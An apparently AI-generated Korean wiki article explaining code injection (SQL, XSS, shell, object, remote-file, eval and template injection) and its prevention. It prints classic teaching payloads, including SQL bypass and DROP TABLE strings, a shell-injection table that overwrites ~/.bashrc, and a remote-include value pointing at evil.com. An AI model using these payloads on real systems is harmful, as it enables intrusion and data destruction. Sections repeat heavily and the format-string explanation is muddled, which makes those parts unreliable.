맨위로가기

코드 인젝션

"오늘의AI위키"는 AI 기술로 일관성 있고 체계적인 최신 지식을 제공하는 혁신 플랫폼입니다.
"오늘의AI위키"의 AI를 통해 더욱 풍부하고 폭넓은 지식 경험을 누리세요.

1. 개요

코드 인젝션은 애플리케이션이 신뢰할 수 없는 데이터를 인터프리터에 전송할 때 발생하는 보안 취약점의 한 유형이다. SQL, LDAP, 운영 체제 명령어, 스크립트 등 다양한 곳에서 발생하며, 데이터 변조, 시스템 권한 탈취, 서비스 거부 공격과 같은 심각한 피해를 야기할 수 있다. 대표적인 공격 기법으로는 SQL 인젝션, 크로스 사이트 스크립팅(XSS), 셸 인젝션 등이 있다. 코드 인젝션은 안전한 API 사용, 입력 값 검증, 출력 값 인코딩, 라이브러리 및 프레임워크 활용, 정적/동적 분석 도구 사용, 운영체제 및 하드웨어 수준의 보안 강화 등을 통해 예방할 수 있다. 또한, 프로그램 기능 확장이나 취약점 발견을 위한 모의 침투 테스트 등 긍정적인 측면도 있지만, 법적인 문제를 야기할 수 있으므로 주의해야 한다.

더 읽어볼만한 페이지

  • 악성 소프트웨어 - 스파이웨어
    스파이웨어는 사용자의 동의 없이 설치되어 개인 정보를 수집하거나 시스템을 감시하며, 다양한 형태로 존재하여 광고 표시, 정보 탈취, 시스템 성능 저하 등의 피해를 유발하는 악성 프로그램이다.
  • 악성 소프트웨어 - 화이트리스트
    화이트리스트는 특정 대상만 허용하고 나머지는 차단하는 접근 제어 목록으로, 정보보안, 무역, 금융 등 다양한 분야에서 활용되지만, 목록 선정 기준의 불명확성, 사회적 문제점 등의 위험성으로 투명하고 엄격한 관리가 필요하다.
  • 취약점 공격 - 보안 취약점
    보안 취약점은 시스템의 설계, 구현, 운영, 관리상 결함이나 약점으로, 위협에 의해 악용되어 시스템 보안 정책을 위반할 수 있는 요소이며, ISO 27005, IETF RFC 4949, NIST SP 800-30, ENISA 등 다양한 기관에서 정의하고 있다.
  • 취약점 공격 - 인터넷 보안
    인터넷 보안은 사이버 위협, 악성 소프트웨어, 서비스 거부 공격 등으로부터 정보와 시스템을 보호하기 위해 네트워크 계층 보안, 다단계 인증, 방화벽 등 다양한 기술과 방법을 포괄한다.
코드 인젝션
개요
유형컴퓨터 보안 취약점
설명유효하지 않은 데이터를 사용하여 발생하는 컴퓨터 버그 악용
보안 취약점
OWASP Top 10 (2013)A1: 인젝션 취약점
CWECWE-74
상세 내용
정의




공격 유형SQL 인젝션
OS 명령어 인젝션
LDAP 인젝션
XML 인젝션
SMTP 인젝션
코드 인젝션
CRLF 인젝션
예방 방법모든 입력 데이터에 대해 엄격한 유효성 검사를 수행하십시오.
사용자 입력을 신뢰하지 말고, 항상 안전한 방식으로 처리하십시오.
가능한 경우, 파라미터화된 쿼리 또는 준비된 명령문을 사용하십시오.
최소 권한 원칙을 적용하여 애플리케이션이 필요한 권한만 갖도록 하십시오.
정기적으로 보안 감사를 실시하여 취약점을 식별하고 수정하십시오.
추가 정보
관련 용어크로스 사이트 스크립팅
코드 삽입
참고 자료펜실베이니아 대학교 컴퓨팅 보안: 상위 10가지 웹 애플리케이션 보안 취약점
OWASP Top 10 2013 A1: 인젝션 취약점
NVD - 취약점 통계 검색

2. 코드 인젝션의 원리 및 유형

코드 인젝션은 애플리케이션이 사용자 입력을 신뢰하고, 이를 적절한 검증 없이 코드의 일부로 해석하거나 실행할 때 발생한다. 코드 인젝션은 선의로 수행될 수도 있다. 예를 들어, 코드 인젝션을 통해 프로그램이나 시스템의 동작을 변경하거나 조정하여 악의적인 의도 없이 시스템이 특정 방식으로 동작하도록 할 수 있다.[5][6]

하지만 이 또한 법적인 문제를 야기할 수 있으며, 의도하지 않은 코드 인젝션은 어떠한 경우에도 불법임을 인지해야 한다.

코드 인젝션 취약점(인젝션 플로우)은 애플리케이션이 인터프리터에 신뢰할 수 없는 데이터를 전송할 때 발생한다. SQL, LDAP, XPath, NoSQL 쿼리, 운영 체제(OS)의 명령, XML구문 분석, SMTP 헤더, 프로그램인수 등에서 가장 자주 발견된다.[25]

인젝션 공격으로 데이터 손실 및 변경, 책임 추적성 부족, DoS 공격 등이 발생한다. 때로는 호스트를 완전히 장악하는 경우도 있다.

인젝션 공격 기술은 정보 획득을 위한 해킹(크래킹)이나 권한 상승, 시스템에 대한 무단 접근에 널리 사용된다.
코드 인젝션의 유형


  • SQL 인젝션: 데이터베이스에 악의적인 SQL 명령을 주입하여 정보를 탈취하거나 조작한다.
  • 크로스 사이트 스크립팅(XSS): 웹 페이지에 악성 스크립트를 삽입하여 사용자 브라우저에서 실행되도록 한다.
  • 셸 인젝션: 운영체제 명령어를 삽입하여 서버에서 실행되도록 한다.
  • 객체 인젝션: 객체의 직렬화/역직렬화 취약점을 이용하여 악성 객체를 주입한다.
  • 원격 파일 인젝션: 외부 서버의 악성 파일을 포함시켜 실행한다.
  • 동적 코드 실행 취약점: `eval()` 함수와 같이 동적으로 코드를 실행하는 함수에 사용자 입력을 전달하여 발생하는 취약점이다.
  • 기타 인젝션 공격: LDAP, XPath, NoSQL 쿼리, 운영 체제(OS)의 명령, XML 구문 분석, SMTP 헤더, 프로그램 인수 등에서 발생한다.


2008년에는 전체 취약점의 5.66%가 인젝션 공격으로 분류되어 가장 높은 비율을 기록했으나, 2015년에는 0.77%로 감소했다.[27]

2. 1. SQL 인젝션

SQL 인젝션은 SQL 구문을 악용하여 데이터베이스를 읽거나 수정하거나 원래 쿼리의 의미를 손상시킬 수 있는 악성 명령어를 주입하는 것이다.[13]

예를 들어, 사용자가 사용자 이름과 비밀번호를 입력할 수 있는 두 개의 텍스트 필드가 있는 웹 페이지를 생각해 보자. 페이지 뒤의 코드는 사용자 이름 목록에 대해 비밀번호를 확인하는 SQL 쿼리를 생성한다.



SELECT UserList.Username

FROM UserList

WHERE UserList.Username = 'Username'

AND UserList.Password = 'Password'



이 쿼리가 행을 반환하면 액세스 권한이 부여된다. 그러나 악의적인 사용자가 유효한 사용자 이름을 입력하고 비밀번호 필드에 유효한 코드 "('Password' OR '1'='1')"를 주입하면 결과 쿼리는 다음과 같이 표시된다.



SELECT UserList.Username

FROM UserList

WHERE UserList.Username = 'Username'

AND UserList.Password = 'Password' OR '1'='1'



위의 예에서 "Password"는 비어 있거나 어떤 무해한 문자열이라고 가정한다. "'1'='1'"은 항상 참이 되므로 많은 행이 반환되어 액세스가 허용된다. 이 기술은 여러 문을 실행하거나 외부 프로그램을 로드하여 실행할 수 있도록 개선될 수 있다.

다음 형식을 가진 쿼리를 가정해 보자:



SELECT User.UserID

FROM User

WHERE User.UserID = ' " + UserID + " '

AND User.Pwd = ' " + Password + " '



만약 공격자가 다음과 같은 입력을 가지고 있다면:

  • UserID: ';DROP TABLE User; --'
  • Password: 'OR"='


그러면 쿼리는 다음과 같이 구문 분석된다:



SELECT User.UserID

FROM User

WHERE User.UserID = '';DROP TABLE User; --'AND Pwd = ''OR"='



결과적으로 `User` 테이블은 데이터베이스에서 제거된다. 이것은 ; 기호가 하나의 명령의 끝과 새로운 명령의 시작을 의미하기 때문에 발생한다. --는 주석의 시작을 의미한다.

SQL 인젝션으로 데이터베이스 내의 임의의 값을 변경할 수 있다. SQL 인젝션의 영향은 웹사이트 변조(website defacement)에서 심각한 기밀 정보 유출 등에 이르기까지 다양하다.

2. 2. 크로스 사이트 스크립팅 (XSS)

웹 애플리케이션에 악성 스크립트를 삽입하여 사용자 브라우저에서 실행되도록 하는 공격이다.[14] HTML 및 스크립트 인젝션은 널리 사용되는 주제이며, 일반적으로 "크로스 사이트 스크립팅" 또는 "XSS"라고 한다.[14] XSS는 웹 스크립트에 대한 사용자 입력을 HTML 코드 또는 스크립팅을 확인하지 않고 출력 HTML에 배치하는 인젝션 결함을 의미한다.[14]

예를 들어, 일부 웹 서버는 사용자로부터 짧은 메시지를 받는 방명록 스크립트를 가지고 있다. 일반적으로 "아주 좋은 사이트네요!" 와 같은 메시지를 받는다.

하지만 악의적인 사용자는 방명록에서 코드 인젝션 취약점을 알고 다음과 같은 메시지를 입력할 수 있다.

"좋은 사이트네요, 제가 가져갈게요. ``"

다른 사용자가 페이지를 보면, 주입된 코드가 실행된다. 이 코드는 공격자가 다른 사용자를 사칭할 수 있게 한다. 그러나 이러한 동일한 소프트웨어 버그는 순진한 사용자에 의해 실수로 트리거될 수 있으며, 이로 인해 웹사이트에 잘못된 HTML 코드가 표시될 수 있다.[14]

2. 3. 셸 인젝션

셸 인젝션은 유닉스 셸의 이름을 땄지만, 소프트웨어가 명령 줄 인터페이스를 실행하는 것을 허용한 대부분의 시스템에 적용될 수 있다. 관련된 함수로는 `system()`, `StartProcess()`, `System.Diagnostics.Process.Start()` 등이 있다.[19]

셸 인젝션(또는 명령 인젝션[19])은 유닉스 셸에서 이름을 따왔지만, 소프트웨어가 프로그래밍 방식으로 명령 줄을 실행할 수 있는 대부분의 시스템에 적용된다.

클라이언트-서버 시스템(예: 웹 브라우저웹 서버의 상호 작용)은 셸 인젝션에 취약할 수 있다. 사용자가 보낸 단어를 다른 단어로 대체하기 위해 웹 서버에서 실행할 수 있는 다음의 짧은 PHP 프로그램을 통해 셸 인젝션의 예시를 확인할 수 있다.

```php


passthru("/bin/funnytext " . $_GET['USER_INPUT']);

?>

```

위 프로그램의 `passthru` 함수는 웹 서버에서 실행되는 셸 명령을 구성한다. 구성하는 명령의 일부가 웹 브라우저에서 제공하는 URL에서 가져오기 때문에, 이를 통해 URL은 악성 셸 명령을 주입할 수 있다. 다양한 셸 기능의 구문을 악용하여 이 프로그램에 여러 가지 방법으로 코드를 삽입할 수 있다.[21]

셸 기능`USER_INPUT` 값결과 셸 명령설명
순차적 실행; malicious_command/bin/funnytext ; malicious_commandfunnytext를 실행한 다음 `malicious_command`를 실행한다.
파이프라인| malicious_command/bin/funnytext | malicious_commandfunnytext의 출력을 `malicious_command`의 입력으로 보낸다.
명령 치환`malicious_command`/bin/funnytext `malicious_command`malicious_command의 출력을 funnytext에 인수로 보낸다.
명령 치환$(malicious_command)/bin/funnytext $(malicious_command)malicious_command의 출력을 funnytext에 인수로 보낸다.
AND 목록&& malicious_command/bin/funnytext && malicious_commandfunnytext가 종료 상태 0(성공)을 반환하는 경우에만 `malicious_command`를 실행한다.
OR 목록|| malicious_command/bin/funnytext || malicious_commandfunnytext가 0이 아닌 종료 상태(오류)를 반환하는 경우에만 `malicious_command`를 실행한다.
출력 리디렉션> ~/.bashrc/bin/funnytext > ~/.bashrc.bashrc 파일의 내용을 funnytext의 출력으로 덮어쓴다.
입력 리디렉션< ~/.bashrc/bin/funnytext < ~/.bashrc.bashrc 파일의 내용을 funnytext의 입력으로 보낸다.



일부 언어는 셸 명령을 구성하는 데 사용되는 문자열을 적절하게 이스케이프하거나 인용하는 함수를 제공한다.


  • PHP: `escapeshellarg()` 및 `escapeshellcmd()`
  • 파이썬: `shlex.quote()`


하지만, 이는 여전히 프로그래머가 이러한 함수에 대해 알고/배우고 셸 명령을 사용할 때마다 이를 사용하는 것을 기억하도록 하는 부담을 준다. 이러한 함수를 사용하는 것 외에도 사용자 입력의 유효성을 검사하거나 정리하는 것도 권장된다.

더 안전한 대안은 셸을 거치지 않고 외부 프로그램을 직접 실행하는 API를 사용하는 것이다. 따라서 셸 인젝션의 가능성을 방지한다. 그러나 이러한 API는 셸의 다양한 편의 기능을 지원하지 않거나 간결한 셸 구문에 비해 더 번거롭고 장황한 경향이 있다.

2. 4. 객체 인젝션

PHP객체직렬화 및 역직렬화를 허용한다. 신뢰할 수 없는 입력을 역직렬화 함수에 허용하면 프로그램 내의 기존 클래스를 덮어쓰고 악의적인 공격을 실행할 수 있다.[17] 2013년에 Joomla에서 이러한 공격이 발견되었다.[18]

2. 5. 원격 파일 인젝션

다음은 PHP 프로그램 예시이다.




$color = 'blue';

if (isset( $_GET['COLOR'] ) )

$color = $_GET['COLOR'];

require( $color . '.php' );

?>



이 예시는 `blue.php`나 `red.php` 같은 색상 파일들을 불러오는 것으로 보이지만, 공격자가 `COLOR=http://evil.com/exploit`를 입력하면 PHP는 외부 파일을 로드하게 된다.[1]

2. 6. 동적 코드 실행 취약점

`eval()` 함수와 같이 동적으로 코드를 실행하는 함수에 사용자 입력을 전달하여 발생하는 취약점이다.

`eval` 삽입 취약점은 `eval()` 함수로 들어가는 문자열 입력을 공격자가 제어할 수 있을 때 발생한다.[36]

```php

$myvar = 'somevalue';

$x = $_GET['arg'];

eval('$myvar = ' . $x . ';');

```

`eval`의 인자는 PHP에서 실행되므로 추가적인 명령어가 첨부될 수 있다. 예를 들면 "arg"는 `10; system('/bin/echo uh-oh')`로 세팅될 수 있고, 이 경우 이 프로그램을 실행하는 서버는 `/bin/echo`를 실행하게 된다.

템플릿 엔진은 동적 데이터를 표시하기 위해 현대적인 웹 애플리케이션에서 자주 사용된다. 하지만 검증되지 않은 사용자 데이터를 신뢰하면 서버 측 템플릿 주입과 같은 치명적인 취약점[15]으로 이어질 수 있다. 이 취약점은 크로스 사이트 스크립팅과 유사하지만, 템플릿 주입은 방문자의 브라우저가 아닌 웹 서버에서 코드를 실행하는 데 악용될 수 있다. 이는 웹 애플리케이션의 일반적인 워크플로우를 악용하는데, 웹 애플리케이션은 종종 사용자 입력과 템플릿을 사용하여 웹 페이지를 렌더링한다. 다음은 이 개념을 보여주는 예시이다. 여기서 `` 템플릿은 렌더링 과정에서 데이터로 대체된다.

```html

Hello

```

공격자는 악의적인 `visitor_name`을 제공하여 이 워크플로우를 렌더링 파이프라인에 코드를 주입하는 데 사용할 수 있다. 웹 애플리케이션의 구현에 따라, ``을 주입하도록 선택할 수 있으며, 렌더러는 이를 `Hello 7777777`로 해석할 수 있다. 실제 웹 서버가 악의적인 코드를 평가했으므로 원격 코드 실행에 취약할 수 있다.

`eval()` 인젝션 취약점은 공격자가 함수 호출 `eval()`에 제공되는 입력 문자열의 전부 또는 일부를 제어할 수 있을 때 발생한다.[16]

```php

$myvar = 'somevalue';

$x = $_GET['arg'];

eval('$myvar = ' . $x . ';');

```

`eval`의 인수는 PHP로 처리되므로 추가적인 명령을 덧붙일 수 있다. 예를 들어, "arg"가 `10; system('/bin/echo uh-oh')`로 설정되면 서버에서 프로그램을 실행하는 추가 코드가 실행되며, 이 경우 `/bin/echo`가 실행된다.

2. 7. 기타 인젝션 공격

LDAP, XPath, NoSQL 쿼리, 운영 체제(OS)의 명령, XML 구문 분석, SMTP 헤더, 프로그램 인수 등에서 코드 인젝션 취약점이 자주 발견된다.[25] 이러한 인젝션 취약점은 소프트웨어 테스트보다 소스 코드 검토 단계에서 더 쉽게 발견되는 경향이 있다.[25] 취약점 검사 도구나 퍼징이 취약점 발견에 도움이 되기도 한다.[26]

인젝션 공격으로 인해 데이터 손실 및 변경, 책임 추적성 부족, DoS 공격 등이 발생할 수 있으며, 심한 경우에는 시스템 전체가 장악될 수도 있다.

몇 가지 인젝션 공격의 예는 다음과 같다.

  • SQL 인젝션: 데이터베이스 내의 임의의 값을 변경할 수 있다. 웹사이트 변형에서 심각한 기밀 정보 유출까지 다양한 피해를 일으킬 수 있다.
  • PHP나 ASP 등의 스크립트 인젝션: 서버에 멀웨어를 설치하거나 악의적인 코드를 실행할 수 있다.
  • 셸 인젝션: UNIX의 Setuid 바이너리 취약점이나 Windows 서비스 취약점을 악용하여 슈퍼유저 권한을 획득할 수 있다.
  • HTML/Script 인젝션: 웹 사용자들을 공격할 수 있다.


2008년에는 전체 취약점의 5.66%가 인젝션 공격으로 분류되어 가장 높은 비율을 기록했으나, 2015년에는 0.77%로 감소했다.[27]

3. 코드 인젝션의 영향

코드 인젝션은 공격 유형과 대상 시스템에 따라 다양한 영향을 미칠 수 있다. 주요 피해 사례는 다음과 같다.


  • 데이터 유출 및 변조: 공격자는 SQL 인젝션을 통해 데이터베이스의 정보를 훔치거나 내용을 변경할 수 있다.[13]
  • 시스템 권한 탈취: 셸 인젝션으로 시스템 관리자 권한을 얻어 시스템을 제어할 수 있다.[19]
  • 웹 사이트 변조 (Defacement): 크로스 사이트 스크립팅(XSS) 등으로 웹 페이지를 변조해 사용자에게 잘못된 정보를 제공하거나 악성코드를 퍼뜨릴 수 있다.[14]
  • 서비스 거부 공격 (DoS): 시스템 자원을 고갈시키거나 서비스를 중단시킬 수 있다.
  • 기타 피해: 정보 유출, 시스템 손상, 기업 이미지 실추 등 다양한 피해가 발생할 수 있다.


코드 인젝션은 SQL, LDAP, XPath, NoSQL 쿼리, 운영 체제 (OS)의 명령, XML구문 분석, SMTP 헤더, 프로그램인수 등에서 자주 발견된다.[25] 인젝션 공격은 정보 획득을 위한 해킹(크래킹)이나 시스템 무단 접근에 널리 사용된다.

다음은 코드 인젝션 공격의 몇 가지 예시이다.

  • SQL 인젝션: SQL 쿼리문을 조작하여 데이터베이스를 공격한다.
  • 크로스 사이트 스크립팅(XSS): 웹 사이트에 악성 스크립트를 삽입하여 사용자 정보를 훔치거나 다른 사용자를 공격한다.
  • 서버 측 템플릿 주입: 템플릿 엔진의 취약점을 이용해 서버에서 코드를 실행한다.[15]
  • `eval()` 인젝션: PHP의 `eval()` 함수에 악성 코드를 주입해 서버에서 실행한다.[16]
  • 파일 포함 취약점: 서버에서 원격 파일을 로드하도록 유도해 악성 코드를 실행한다.
  • 형식 문자열 버그: C 언어의 `printf` 함수처럼 형식 문자열을 쓰는 함수의 취약점을 이용한다.
  • 셸 인젝션 (명령 인젝션): 유닉스 셸 등에서 셸 명령어를 실행하는 함수의 취약점을 이용한다.[19]


2008년에는 보고된 모든 취약점 중 5.66%가 인젝션 공격으로 분류되었으나, 2015년에는 0.77%로 감소했다.[27]

3. 1. 데이터 유출 및 변조

SQL 인젝션을 통해 공격자는 데이터베이스의 정보를 탈취하거나, 내용을 변조 또는 삭제할 수 있다. 예를 들어, 사용자 이름과 비밀번호를 입력받는 웹 페이지에서, 공격자는 비밀번호 필드에 `'Password' OR '1'='1'` 와 같은 코드를 주입할 수 있다. `'1'='1'` 조건은 항상 참이므로, 이 쿼리는 사용자 이름과 관계없이 접근을 허용하게 된다.[13]

다음은 공격자가 데이터베이스의 내용을 변경하는 예시이다.

'''예시:'''



SELECT User.UserID

FROM User

WHERE User.UserID = ' " + UserID + " '

AND User.Pwd = ' " + Password + " '



만약 공격자가 다음과 같은 입력을 사용한다면:

  • `UserID`: `';DROP TABLE User; --'`
  • `Password`: `'OR"='`


그러면 쿼리는 다음과 같이 해석된다.



SELECT User.UserID

FROM User

WHERE User.UserID = '';DROP TABLE User; --'AND Pwd = ''OR"='



이 경우, `User` 테이블은 데이터베이스에서 제거된다. 이는 `;` 기호가 명령어의 끝과 새로운 명령어의 시작을 의미하고, `--`는 주석의 시작을 의미하기 때문이다.

3. 2. 시스템 권한 탈취

셸 인젝션(또는 명령 인젝션[19])은 유닉스 셸에서 이름을 따왔지만, 소프트웨어가 프로그래밍 방식으로 명령 줄을 실행할 수 있는 대부분의 시스템에 적용된다. 셸 명령을 구성하고 실행하는 데 사용할 수 있는 모든 함수는 셸 인젝션 공격을 시작할 수 있는 잠재적인 수단이다. 여기에는 [http://linux.die.net/man/3/system `system()`], [https://pkg.go.dev/os#StartProcess `StartProcess()`], [http://msdn.microsoft.com/en-us/library/92699yzt.aspx `System.Diagnostics.Process.Start()`] 등이 있다.[20]

클라이언트-서버 시스템(예: 웹 브라우저웹 서버의 상호 작용)은 셸 인젝션에 취약할 수 있다. 예를 들어 사용자가 보낸 단어를 다른 단어로 대체하기 위해 웹 서버에서 실행할 수 있는 다음의 짧은 PHP 프로그램에서

```php


passthru("/bin/funnytext " . $_GET['USER_INPUT']);

?>

```

`passthru` 함수는 웹 서버에서 실행되는 셸 명령을 구성한다. 구성하는 명령의 일부가 웹 브라우저에서 제공하는 URL에서 가져오기 때문에, 이를 통해 URL은 악성 셸 명령을 주입할 수 있다. 다양한 셸 기능의 구문을 악용하여 이 프로그램에 여러 가지 방법으로 코드를 삽입할 수 있다.[21]

셸 기능`USER_INPUT` 값결과 셸 명령설명
순차적 실행; malicious_command/bin/funnytext ; malicious_command`funnytext`를 실행한 다음 `malicious_command`를 실행한다.
파이프라인| malicious_command/bin/funnytext | malicious_command`funnytext`의 출력을 `malicious_command`의 입력으로 보낸다.
명령 치환`malicious_command`/bin/funnytext `malicious_command``malicious_command`의 출력을 `funnytext`에 인수로 보낸다.
명령 치환$(malicious_command)/bin/funnytext $(malicious_command)`malicious_command`의 출력을 `funnytext`에 인수로 보낸다.
AND 목록&& malicious_command/bin/funnytext && malicious_command`funnytext`가 종료 상태 0(성공)을 반환하는 경우에만 `malicious_command`를 실행한다.
OR 목록|| malicious_command/bin/funnytext || malicious_command`funnytext`가 0이 아닌 종료 상태(오류)를 반환하는 경우에만 `malicious_command`를 실행한다.
출력 리디렉션> ~/.bashrc/bin/funnytext > ~/.bashrc`.bashrc` 파일의 내용을 `funnytext`의 출력으로 덮어쓴다.
입력 리디렉션< ~/.bashrc/bin/funnytext < ~/.bashrc`.bashrc` 파일의 내용을 `funnytext`의 입력으로 보낸다.



이러한 공격을 통해 시스템 관리자 권한을 획득할 수 있다.

3. 3. 웹 사이트 변조 (Defacement)

웹 페이지의 내용을 변경하여 사용자에게 잘못된 정보를 제공하거나, 악성코드를 유포할 수 있다.

코드 인젝션은 악의적인 코드 주입 또는 애플리케이션에 코드를 삽입하는 행위이다. 일부 웹 서버는 사용자로부터 짧은 메시지를 받는 방명록 스크립트를 가지고 있으며, 일반적으로 다음과 같은 메시지를 받는다.

```text

아주 좋은 사이트네요!

```

하지만 악의적인 사용자는 방명록에서 코드 인젝션 취약점을 알고 다음과 같은 메시지를 입력할 수 있다.

```html

좋은 사이트네요, 제가 가져갈게요.

```

다른 사용자가 페이지를 보면, 주입된 코드가 실행된다. 이 코드는 공격자가 다른 사용자를 사칭할 수 있게 한다. 그러나 이러한 동일한 소프트웨어 버그는 순진한 사용자에 의해 실수로 트리거될 수 있으며, 이로 인해 웹사이트에 잘못된 HTML 코드가 표시될 수 있다.

HTML 및 스크립트 인젝션은 널리 사용되는 주제이며, 일반적으로 "크로스 사이트 스크립팅" 또는 "XSS"라고 한다. XSS는 웹 스크립트에 대한 사용자 입력을 HTML 코드 또는 스크립팅을 확인하지 않고 출력 HTML에 배치하는 인젝션 결함을 의미한다.[14]

3. 4. 서비스 거부 공격 (DoS)

코드 인젝션은 시스템 자원을 고갈시키거나 서비스를 중단시킬 수 있다. 예를 들어, SQL 인젝션 공격으로 인해 데이터베이스의 `User` 테이블이 삭제될 수 있다.[13] 이는 `;` 기호가 명령어의 끝과 새로운 명령어의 시작을 의미하고, `--`는 주석의 시작을 의미하기 때문이다. 공격자는 이러한 기호를 악용하여 `DROP TABLE User`와 같은 악성 명령어를 주입할 수 있다.

3. 5. 기타 피해

코드 인젝션 공격으로 인해 발생할 수 있는 피해는 다양하며, 정보 유출, 시스템 손상, 기업 이미지 실추 등이 대표적이다.

  • 정보 유출: 공격자는 코드 인젝션을 통해 데이터베이스에 저장된 민감한 정보(예: 사용자 계정 정보, 개인 식별 정보)를 탈취하거나, 시스템 내부 정보(예: 소스 코드, 설정 파일)를 유출할 수 있다.
  • 시스템 손상: 공격자는 코드 인젝션을 통해 시스템 파일을 변경하거나 삭제하고, 악성코드를 설치하며, 시스템 설정을 변경하여 시스템을 마비시키거나 장악할 수 있다.
  • 기업 이미지 실추: 코드 인젝션 공격으로 인해 서비스 중단, 정보 유출 등의 문제가 발생하면 기업의 신뢰도가 하락하고, 고객 이탈, 법적 책임 등의 문제가 발생할 수 있다.


몇 가지 구체적인 예시는 다음과 같다.

  • SQL 주입: SQL 쿼리문을 조작하여 데이터베이스를 공격한다. 예를 들어, 사용자 로그인 과정에서 비밀번호 대신 `'Password' OR '1'='1'`와 같은 코드를 주입하면 인증을 우회할 수 있다.[13]
  • 크로스 사이트 스크립팅(XSS): 웹 사이트에 악성 스크립트를 삽입하여 사용자 정보를 탈취하거나 다른 사용자를 공격한다. 예를 들어, 방명록에 악성 스크립트를 포함한 메시지를 남기면 다른 사용자가 해당 메시지를 읽을 때 스크립트가 실행되어 쿠키 정보가 유출될 수 있다.[14]
  • 서버 측 템플릿 주입: 템플릿 엔진의 취약점을 이용하여 서버에서 코드를 실행한다.[15] 예를 들어, 사용자 이름을 표시하는 템플릿에 ``와 같은 코드를 주입하면 서버에서 해당 코드가 실행되어 `7777777`이 출력될 수 있다.
  • `eval()` 인젝션: PHP의 `eval()` 함수에 악성 코드를 주입하여 서버에서 실행한다.[16]
  • 파일 포함 취약점: 서버에서 원격 파일을 로드하도록 유도하여 악성 코드를 실행한다. 예를 들어, PHP 프로그램에서 요청된 파일을 포함하는 코드에 `http://evil.com/exploit`와 같은 URL을 전달하면 원격 서버의 악성 코드가 실행될 수 있다.
  • 형식 문자열 버그: C 언어의 `printf` 함수와 같이 형식 문자열을 사용하는 함수의 취약점을 이용한다. 예를 들어, 사용자 입력을 형식 문자열로 사용하는 `printf(user_input)` 대신 `printf("%s", user_input)`를 사용하면, 사용자 입력에 `%s`와 같은 형식 지정자를 포함시켜 스택 메모리에 접근하여 비밀번호를 유출할 수 있다.
  • 셸 인젝션 (명령 인젝션): 유닉스 셸 등에서 셸 명령어를 실행하는 함수의 취약점을 이용한다.[19] 예를 들어, tcsh 스크립트에서 `./check " 1 ) evil"`와 같이 실행하면 `evil`이라는 셸 명령어가 실행된다.[20]


클라이언트-서버 시스템, 특히 웹 서버는 셸 인젝션에 취약할 수 있다. 다음은 웹 서버에서 실행되는 PHP 프로그램 예시이다.

```php


passthru("/bin/funnytext " . $_GET['USER_INPUT']);

?>

```

이 프로그램은 `USER_INPUT` 값을 이용하여 셸 명령을 실행한다. 공격자는 다음과 같은 방법으로 악성 명령어를 삽입할 수 있다.[21]

셸 기능`USER_INPUT` 값결과 셸 명령설명
순차적 실행; malicious_command/bin/funnytext ; malicious_commandfunnytext 실행 후 malicious_command 실행
파이프라인| malicious_command/bin/funnytext | malicious_commandfunnytext 출력을 malicious_command 입력으로 전달
명령 치환`malicious_command`/bin/funnytext `malicious_command`malicious_command 출력을 funnytext 인수로 전달
명령 치환$(malicious_command)/bin/funnytext $(malicious_command)malicious_command 출력을 funnytext 인수로 전달
AND 목록&& malicious_command/bin/funnytext && malicious_commandfunnytext 성공 시에만 malicious_command 실행
OR 목록|| malicious_command/bin/funnytext || malicious_commandfunnytext 실패 시에만 malicious_command 실행
출력 리디렉션> ~/.bashrc/bin/funnytext > ~/.bashrc.bashrc 파일을 funnytext 출력으로 덮어씀
입력 리디렉션< ~/.bashrc/bin/funnytext < ~/.bashrc.bashrc 파일 내용을 funnytext 입력으로 전달


4. 코드 인젝션 예방

코드 인젝션은 개발 단계에서부터 보안을 고려하여 예방하는 것이 중요하다. 코드 인젝션 문제를 예방하기 위한 방법은 다음과 같다.


  • 안전한 입출력 처리: 안전한 입출력 처리를 통해 코드 인젝션을 예방할 수 있다. 여기에는 정적 자료형 체계를 통한 언어 분리 강화[35], 위험한 문자로부터 보호하기 위한 입력 인코딩, 커널에서의 모듈과 셸 분리 등이 포함된다.
  • 런타임 이미지 해시 확인: 메모리에 로드된 실행 이미지의 전체나 일부분의 해시를 캡처하여 저장된 예상 해시 값과 비교한다.
  • NX 비트: 모든 사용자 데이터는 실행 불가능으로 표시된 특수 메모리 섹션에 저장된다. 프로세서는 이 메모리에 코드가 없음을 확인하고 실행을 불가능하게 한다.


위에 제시된 방법들은 주로 웹과 관련된 해결법이지만, 사용자 머신에 대한 사용자 코드 인젝션과 같은 접근도 고려해야 한다.

4. 1. 안전한 API 사용

응용 프로그래밍 인터페이스(API)를 적절히 사용하면 모든 입력 문자에 대해 안전하게 사용할 수 있다. 특히, 파라미터화된 쿼리(Prepared Statement)를 사용하면 사용자 입력을 코드와 분리하여 해석할 수 있다.[30] 이를 통해 사용자 데이터가 해석 및 실행되는 것을 방지할 수 있다. 또한, Criteria API[8]나 이와 유사한 API를 사용하여 명령 문자열을 생성 및 해석, 실행하는 방식에서 벗어날 수 있다.

4. 2. 입력 값 검증 (Validation)

코드 인젝션 공격을 방지하기 위해서는 사용자 입력 값에 대한 철저한 검증이 필요하다. 입력 값 검증은 길이, 형식, 허용되는 문자 등을 확인하는 방식으로 이루어지며, 화이트리스트 기반의 검증이 권장된다.[35]
화이트리스트 기반 검증은 허용되는 문자 또는 형식만 명시하고 나머지는 모두 차단하는 방식이다. 이는 알려진 좋은 값만 허용하고, 그 외의 값은 잠재적으로 위험하다고 간주하여 차단함으로써 보안성을 높인다.

입력 값 검증은 다음과 같은 구체적인 방법들을 통해 수행될 수 있다:

  • API 활용: 적절한 API를 사용하면 모든 입력 문자에 대해 안전하게 처리할 수 있다. 예를 들어, 매개변수화된 쿼리를 사용하면 사용자 데이터를 해석할 문자열에서 분리하여 SQL 인젝션과 같은 공격을 예방할 수 있다.[8]
  • 정적 타입 시스템: 정적 타입 시스템을 사용하면 언어 간 분리가 강화되어 코드 인젝션에 대한 방어력을 높일 수 있다.[9]
  • 입력 인코딩: 위험한 문자를 이스케이프하거나, HTML에서 특수 문자를 안전하게 출력하도록 변환하는 등의 입력 인코딩을 수행한다. PHP에서는 `htmlspecialchars()` 함수를 사용하여 HTML 특수 문자를 이스케이프하고, `mysqli::real_escape_string()` 함수를 사용하여 SQL 쿼리에 포함될 데이터를 안전하게 처리할 수 있다.
  • 출력 인코딩: 웹사이트 방문자에 대한 크로스 사이트 스크립팅(XSS) 공격을 방지하기 위해 출력 데이터를 인코딩한다.
  • HttpOnly 플래그: HTTP 쿠키에 `HttpOnly` 플래그를 설정하면 클라이언트 측 스크립트가 쿠키에 접근하는 것을 막아 특정 유형의 XSS 공격을 예방할 수 있다.[10]


